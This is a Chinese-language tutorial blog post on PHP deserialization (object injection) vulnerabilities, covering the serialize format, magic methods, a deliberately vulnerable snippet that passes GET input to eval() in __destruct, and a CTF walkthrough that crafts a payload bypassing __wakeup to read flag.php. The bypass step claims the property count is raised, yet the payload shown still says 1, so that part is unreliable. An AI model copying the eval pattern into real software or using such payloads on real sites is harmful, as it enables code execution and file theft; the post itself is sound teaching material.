草庐IT

代码审计-PHP反序列化漏洞

ZZslBl0g 2023-03-28 原文

什么是序列化

序列化可以实现将对象压缩并格式化,方便数据的传输和存储。
为什么要序列化?
PHP 文件在执行结束时会把对象销毁,如果下次要引用这个对象的话就很麻烦,所以就有了对象序列化,实现对象的长久存储,对象序列化之后存储起来,下次调用时直接调出来反序列化之后就可以使用了。
学习序列化要了解的基本内容。
类(Class): 类的定义包含了数据的形式以及对数据的操作。
对象:对象是类的实例。
方法:类中定义的函数。

<?php
//创建一个类 Test
 class Test
 { //定义 3 个属性,最后序列化后看一下这 3 个属性序列化后的结果。
 private $a = "private";
 public $b = "public";
 protected $c = "protected";
 } 
//创建一个对象,对象是类的实例。
 $test = new Test();
//序列化 test 这个对象
 $data = serialize($test);
//打印序列化后的对象
 echo $data;
?>

展示结果(前提条件,php只有再apache下可以运行,之前我创建了txt,发现无法运行,避免踩坑)
序列化之后的结果,每个字符都具有具体含义

O:4:"Test":3: {s:7:"Testa";s:7:"private"; s:1:"b";s:6:"public"; s:4:"*c";s:9:"protected";}

O Object 对象
4 名字长度为 4 Test(对象名称)
3 表示对象中存在3个属性

s:7:"Testa"; 变量名字
s:7:"private"; 值
  • s string 字符串
  • 7 变量名长度为7 private私有的,会在Testa前后添加\00 ,即\X00Test\X00a (因此长度为7)
  • s string 字符串
  • 7 变量的值长度为7 private 值
s:1:"b";
s:6:"public"
  • s string
  • 1 名字长度 1
  • b 变量名字
s:4:"*c";
s:9:"protected";
  • s string
  • 4 名字长度 4
  • *c 变量名字 \x00*\x00c

序列化的过程:
通过classTest创建一个对象,然后把这个对象进行序列化,打印出来

反序列化:

PHP 反序列化漏洞又叫做 PHP 对象注入漏洞,成因在于代码中的 unserialize() 接收的参数可控,从上面的例子看,这个函数的参数是一个序列化的对象,而序列化的对象只含有对象的属性,那我们就要利用对对象属性的篡改实现最终的攻击
代码如下:
(注意:Testa和*c的部分要留出空格来,与前面的的长度相符合)
输出要用var_dump而不是echo

<?php

$data = 'O:4:"test":3:{s:7:" Test a";s:7:"private";s:1:"b";s:6:"public";s:4:" * c";s:9:"protected";}';
$free = unserialize($data);
var_dump($free);
?>

结果如下:

object(__PHP_Incomplete_Class)#1 (4) {
  ["__PHP_Incomplete_Class_Name"]=>
  string(4) "test"
  [" Test a"]=>   //名字
  string(7) "private"  //值
  ["b"]=>  //名字
  string(6) "public"   //值
  [" * c"]=> //名字
  string(9) "protected"   //值
}

反序列化造成漏洞的原因:

  • 反序列化一般都是用户传递过来恶意代码,通过反序列化执行
  • 反序列化的字符串用户可以控制 用户可以修改任意的属性值。可以控制任意的变量值
  • 内容长度改变以后,前面的长度也需要跟着改变

序列化-魔术方法

魔术方法介绍:
方法:类中定义的函数。
上面我们演示了如何进行序列化和反序列化,但是我们仅使用了属性,也就是变量,变量我们可以当
做数据来看待,而编程就是对数据进行一些列的操作和处理,操作和处理数据的过程我们一般通过函数来
定义,函数在面向对象编程中我们一般称之为方法,所以后续如果老师说到方法就等于说的是函数功能。
特殊的方法-魔术方法。
PHP 将所有以 __(两个下划线)开头的类方法保留为魔术方法,这些都是 PHP 内置的方法。
__construct 当一个对象创建时被调用,
__destruct 当一个对象销毁时被调用,
__wakeup() 使用 unserialize 时触发
__sleep() 使用 serialize 时触发
__call() 在对象上下文中调用不可访问的方法时触发
__callStatic() 在静态上下文中调用不可访问的方法时触发
__get() 用于从不可访问的属性读取数据
__set() 用于将数据写入不可访问的属性
__isset() 在不可访问的属性上调用 isset()或 empty()触发
__unset() 在不可访问的属性上使用 unset()时触发
__toString() 把类当作字符串使用时触发,返回值需要为字符串
__invoke() 当脚本尝试将对象作为函数调用时触发

Q:为什么要讲魔术方法?
A:魔术方法中经常定义一些危险函数。

反序列化漏洞出现需要满足两个条件:

  1. unserialize 时参数用户可控
  2. 参数被传递到方法中被执行,并且方法中使用了危险函数。
    什么是危险函数?比如 php 代码执行函数、文件读取函数、文件写入函数等等。

用户控制的这些值会传入到危险函数中执行,绝大部分和魔术函数有关

<?php
class Test{
 var $owen = "demo";
 function __destruct(){
//_destruct()函数中调用 eval 执行序列化对象中的语句
 @eval($this->owen);
 } 
}
$owen = $_GET['owen'];
$len = strlen($owen)+1;
//构造序列化对象
$ser = "O:4:\"Test\":1:{s:4:\"owen\";s:".$len.":\"".$owen.";\";}";
// 反序列化同时触发_destruct 函数
$xuegod = unserialize($ser); 
?>


实战操作:

1. <?php
2. class Owen{
3.     private $file='ctf.php';
4.     function __destruct(){
5.         if(!empty($this->file))
6.         {
7.             show_source($this->file);
8.         }
9.     }
10.     function __wakeup(){
11.         $this->file='ctf.php';
12.     }
13. }
14. if(!isset($_GET['file'])){     //isset() 函数用于检测变量是否已设置并且非 NULL
15.     show_source('ctf.php');
16. }
17. else{
18.     unserialize($_GET['file']);
19. }
20. //flag in flag.php
21. ?>

解题思路:
发现结果是存在flag.php中,因此只要将对反序列化的值进行修改成flag.php就可以获取到最终flag
根据14行的功能要求,先获取OWEN的序列化,从而将其进行后面的unserialize

<?php
class Owen{
//修改 file=flag.php
 private $file='ctf.php';
 function __destruct(){
 if(!empty($this->file))
 {
 show_source($this->file);
 }
 }
 function __wakeup(){
 $this->file='ctf.php';
 } }
**$free = new Owen();**
**$s = serialize($free);**//将free进行序列化出来
**echo($s);**
?>

获取结果为:

O:4:"owen":1:{s:10:"owenfile";s:7:"ctf.php";}
将序列化的值进行修改,为之后的反序列化做准备
修改成:
O:4:"owen":1:{s:10:"owenfile";s:8:"flag.php";}

通过get方式:
http://192.168.1.69/ctf.php?file=O:4:"owen":1:{s:10:"owenfile";s:8:"flag.php";}
结果发现没有改变,分析一下原因:

发现这个魔术方法会在反序列时自动触发
将file重新修改成ctf.php,即flag.php->ctf.php

function __wakeup(){
         $this->file='ctf.php';
    }

因此需要绕过__wakeup()
绕过技巧:
当属性个数大于原本属性个数时,将不触发__wakeup()
继续修改:

O:4:"owen":1:{s:10:"owenfile";s:8:"flag.php";}

结果发现还是不成功,因为owen(属性名)file(变量名)长度不匹配,前面说到过private的长度特点:
O:4:"owen":1:{s:10:"%00owen%00file";s:8:"flag.php";}
最后成功绕过!获取到flag

思路总结:
1.绕过wakeup魔术方法
属性个数大于后面实际的数量 则不触发wakeup
2.URL地址中空白字符用%00 反序列化s改成S可以使用\00作为空白字符

有关代码审计-PHP反序列化漏洞的更多相关文章

  1. ruby - 如何在 buildr 项目中使用 Ruby 代码? - 2

    如何在buildr项目中使用Ruby?我在很多不同的项目中使用过Ruby、JRuby、Java和Clojure。我目前正在使用我的标准Ruby开发一个模拟应用程序,我想尝试使用Clojure后端(我确实喜欢功能代码)以及JRubygui和测试套件。我还可以看到在未来的不同项目中使用Scala作为后端。我想我要为我的项目尝试一下buildr(http://buildr.apache.org/),但我注意到buildr似乎没有设置为在项目中使用JRuby代码本身!这看起来有点傻,因为该工具旨在统一通用的JVM语言并且是在ruby中构建的。除了将输出的jar包含在一个独特的、仅限ruby​​

  2. ruby-on-rails - Rails 源代码 : initialize hash in a weird way? - 2

    在rails源中:https://github.com/rails/rails/blob/master/activesupport/lib/active_support/lazy_load_hooks.rb可以看到以下内容@load_hooks=Hash.new{|h,k|h[k]=[]}在IRB中,它只是初始化一个空哈希。和做有什么区别@load_hooks=Hash.new 最佳答案 查看rubydocumentationforHashnew→new_hashclicktotogglesourcenew(obj)→new_has

  3. ruby-on-rails - 浏览 Ruby 源代码 - 2

    我的主要目标是能够完全理解我正在使用的库/gem。我尝试在Github上从头到尾阅读源代码,但这真的很难。我认为更有趣、更温和的踏脚石就是在使用时阅读每个库/gem方法的源代码。例如,我想知道RubyonRails中的redirect_to方法是如何工作的:如何查找redirect_to方法的源代码?我知道在pry中我可以执行类似show-methodmethod的操作,但我如何才能对Rails框架中的方法执行此操作?您对我如何更好地理解Gem及其API有什么建议吗?仅仅阅读源代码似乎真的很难,尤其是对于框架。谢谢! 最佳答案 Ru

  4. ruby - 模块嵌套代码风格偏好 - 2

    我的假设是moduleAmoduleBendend和moduleA::Bend是一样的。我能够从thisblog找到解决方案,thisSOthread和andthisSOthread.为什么以及什么时候应该更喜欢紧凑语法A::B而不是另一个,因为它显然有一个缺点?我有一种直觉,它可能与性能有关,因为在更多命名空间中查找常量需要更多计算。但是我无法通过对普通类进行基准测试来验证这一点。 最佳答案 这两种写作方法经常被混淆。首先要说的是,据我所知,没有可衡量的性能差异。(在下面的书面示例中不断查找)最明显的区别,可能也是最著名的,是你的

  5. ruby - 寻找通过阅读代码确定编程语言的ruby gem? - 2

    几个月前,我读了一篇关于ruby​​gem的博客文章,它可以通过阅读代码本身来确定编程语言。对于我的生活,我不记得博客或gem的名称。谷歌搜索“ruby编程语言猜测”及其变体也无济于事。有人碰巧知道相关gem的名称吗? 最佳答案 是这个吗:http://github.com/chrislo/sourceclassifier/tree/master 关于ruby-寻找通过阅读代码确定编程语言的rubygem?,我们在StackOverflow上找到一个类似的问题:

  6. ruby - Net::HTTP 获取源代码和状态 - 2

    我目前正在使用以下方法获取页面的源代码:Net::HTTP.get(URI.parse(page.url))我还想获取HTTP状态,而无需发出第二个请求。有没有办法用另一种方法做到这一点?我一直在查看文档,但似乎找不到我要找的东西。 最佳答案 在我看来,除非您需要一些真正的低级访问或控制,否则最好使用Ruby的内置Open::URI模块:require'open-uri'io=open('http://www.example.org/')#=>#body=io.read[0,50]#=>"["200","OK"]io.base_ur

  7. ruby - 是否有用于序列化和反序列化各种格式的对象层次结构的模式? - 2

    给定一个复杂的对象层次结构,幸运的是它不包含循环引用,我如何实现支持各种格式的序列化?我不是来讨论实际实现的。相反,我正在寻找可能会派上用场的设计模式提示。更准确地说:我正在使用Ruby,我想解析XML和JSON数据以构建复杂的对象层次结构。此外,应该可以将该层次结构序列化为JSON、XML和可能的HTML。我可以为此使用Builder模式吗?在任何提到的情况下,我都有某种结构化数据-无论是在内存中还是文本中-我想用它来构建其他东西。我认为将序列化逻辑与实际业务逻辑分开会很好,这样我以后就可以轻松支持多种XML格式。 最佳答案 我最

  8. 程序员如何提高代码能力? - 2

    前言作为一名程序员,自己的本质工作就是做程序开发,那么程序开发的时候最直接的体现就是代码,检验一个程序员技术水平的一个核心环节就是开发时候的代码能力。众所周知,程序开发的水平提升是一个循序渐进的过程,每一位程序员都是从“菜鸟”变成“大神”的,所以程序员在程序开发过程中的代码能力也是根据平时开发中的业务实践来积累和提升的。提高代码能力核心要素程序员要想提高自身代码能力,尤其是新晋程序员的代码能力有很大的提升空间的时候,需要针对性的去提高自己的代码能力。提高代码能力其实有几个比较关键的点,只要把握住这些方面,就能很好的、快速的提高自己的一部分代码能力。1、多去阅读开源项目,如有机会可以亲自参与开源

  9. 7个大一C语言必学的程序 / C语言经典代码大全 - 2

    嗨~大家好,这里是可莉!今天给大家带来的是7个C语言的经典基础代码~那一起往下看下去把【程序一】打印100到200之间的素数#includeintmain(){ inti; for(i=100;i 【程序二】输出乘法口诀表#includeintmain(){inti;for(i=1;i 【程序三】判断1000年---2000年之间的闰年#includeintmain(){intyear;for(year=1000;year 【程序四】给定两个整形变量的值,将两个值的内容进行交换。这里提供两种方法来进行交换,第一种为创建临时变量来进行交换,第二种是不创建临时变量而直接进行交换。1.创建临时变量来

  10. Tomcat AJP 文件包含漏洞(CVE-2020-1938) - 2

    目录1.漏洞简介2、AJP13协议介绍Tomcat主要有两大功能:3.Tomcat远程文件包含漏洞分析4.漏洞复现 5、漏洞分析6.RCE实现的原理1.漏洞简介2020年2月20日,公开CNVD的漏洞公告中发现ApacheTomcat文件包含漏洞(CVE-2020-1938)。ApacheTomcat是Apache开源组织开发的用于处理HTTP服务的项目。ApacheTomcat服务器中被发现存在文件包含漏洞,攻击者可利用该漏洞读取或包含Tomcat上所有webapp目录下的任意文件。该漏洞是一个单独的文件包含漏洞,依赖于Tomcat的AJP(定向包协议)。AJP自身存在一定缺陷,导致存在可控

随机推荐